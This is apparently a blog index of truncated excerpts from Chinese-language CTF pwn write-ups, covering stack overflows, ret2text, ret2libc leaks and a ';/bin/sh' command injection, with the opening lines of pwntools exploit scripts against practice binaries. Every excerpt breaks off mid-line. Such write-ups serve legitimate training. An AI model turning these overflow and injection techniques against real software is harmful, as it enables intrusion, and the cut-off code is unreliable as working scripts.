cmcc_simplerop
int 0x80调用系统函数 .bss段控制 32位参数控制 在主函数中存在溢出,但是栈空间并不准确,需要动态调试计算 pwndbg> telescope $ebp 00:0000│ ebp 0xffffcf28 —▸ 0x80495f0 (__libc_csu_fini) ◂— push ebx 01:0004│ 0xffffcf2c —▸ 0x8049...
int 0x80调用系统函数 .bss段控制 32位参数控制 在主函数中存在溢出,但是栈空间并不准确,需要动态调试计算 pwndbg> telescope $ebp 00:0000│ ebp 0xffffcf28 —▸ 0x80495f0 (__libc_csu_fini) ◂— push ebx 01:0004│ 0xffffcf2c —▸ 0x8049...
one-gadget利用 overflow()函数中存在溢出 没有system也没有输出函数 没有/bin/sh或者sh可利用字段 程序是静态链接 bamuwe@qianenzhao:~$ file rop rop: ELF 32-bit LSB executable, Intel 80386, ver...
ret2text vuln函数中s变量存在溢出 存在后门函数 构造payload填充再跳转到后门函数win就可以得到flag from pwn import * io = process('./PicoCTF_2018_buffer_overflow_1') padding = b'A'*(0x28+0x4) payload = padding+p32(0x080485...
32位libc泄露 ret2libc 存在漏洞函数vulnerable_function变量buf存在溢出 常规32位泄露libc from pwn import * io = process('./level4') #context.log_level = 'debug' elf = ELF('./level4') Lib = ELF('/lib/i386-linux...
pwntools使用 linux系统下命令执行 关键点在case1的这个system函数执行上,dest中是ping命令 我们在system执行函数时,加上;那么前后两个命令都会执行 所以我们拼接strcat中加上;/bin/sh就可以得到shell from pwn import * io = process('./bjdctf_2020_router') io....
bamuwe@qianenzhao:~$ checksec bjdctf_2020_babyrop2 [*] '/home/bamuwe/bjdctf_2020_babyrop2' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enab...
在vulnerable函数中存在溢出漏洞 shell函数中已经预留了后门 溢出->跳转到后门函数 from pwn import * context.log_level = 'debug' elf=ELF('wustctf2020_getshell') io = process('wustctf2020_getshell') payload = b'A'*(0x18+0x4)...
64位libc泄露 漏洞函数中存在溢出 使用溢出泄露libc 构造payload获得shell rbp padding 0x80 ...
函数参数劫持 32位泄露libc from pwn import * context.log_level = 'debug' #io = gdb.debug('./2018_rop','break *0x8048474') io = process('./2018_rop') elf = ELF('./2018_rop') Lib = ELF('/lib/i38...
lib地址泄露 vuln() 程序对输入的v2做了限制首先要利用整数绕过if (v2 > 32)的限制 程序中没有现成的shell所以要通过printf泄露lib手动构造shell from pwn import * context.log_level = 'debug' io = process('./pwn2_sct...